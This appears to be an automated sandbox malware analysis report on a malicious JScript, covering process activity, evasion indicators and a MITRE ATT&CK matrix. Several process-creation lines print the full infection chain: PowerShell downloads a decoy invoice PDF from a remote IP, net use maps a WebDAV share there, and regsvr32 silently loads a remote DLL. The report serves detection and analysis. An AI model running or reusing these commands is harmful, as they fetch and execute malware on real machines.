Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6840.js.csv");ITextStream.WriteLine(" entry:7258 f:scinhtyu");ITextStream.WriteLine(" exec:2 f:scinhtyu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4436			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5433			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 608	Thread sleep count: 4436 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep count: 5433 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1976	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3392	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6968	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1558177490.000001F730178000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558323028.000001F7301DC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2772998381.000001634FE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2774414187.0000016355458000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
